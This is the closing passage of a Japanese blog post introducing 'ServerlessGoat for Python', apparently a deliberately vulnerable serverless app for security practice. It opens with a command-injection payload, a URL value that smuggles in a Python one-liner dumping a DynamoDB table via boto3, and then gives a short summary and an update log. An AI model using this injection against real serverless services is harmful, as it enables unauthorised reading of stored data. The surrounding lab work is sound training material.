https://; python -c 'import os;import boto3;print(boto3.resource("dynamodb").Table(os.getenv("TABLE_NAME")).scan())' #

まとめ

　以上、「ServerlessGoat for Python」の紹介でした。

　まだ、README などのドキュメント類の修正はしておらず本家のままとなっていますが、気になる部分を見つけ次第修正してしようかなとは思っています。

　CloudFormation 環境の構築のために作成したポリシー。IAM力が足りないと実感・・・。

f:id:motikan2010:20210318011947p:plain:w300
※動くけど悪い例

更新履歴

  • 2021年3月17日 新規作成